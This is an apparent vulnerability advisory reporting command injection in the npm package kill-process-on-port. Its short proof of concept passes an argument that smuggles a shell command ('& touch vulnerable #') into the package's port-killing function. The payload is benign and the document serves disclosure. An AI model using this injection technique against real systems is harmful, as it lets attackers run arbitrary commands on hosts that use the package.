kill-process-on-port

vulnerability command injection
severity 7.3
language css
registry npm

Description

Remote Code Execution (RCE) in kill-process-on-port

Proof of Concept

  1. Create the following PoC file:
// poc.js
var {killProcessOnPort} = require("kill-process-on-port");
killProcessOnPort("& touch vulnerable #");
  1. Execute the following commands in terminal:
npm i kill-process-on-port # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution.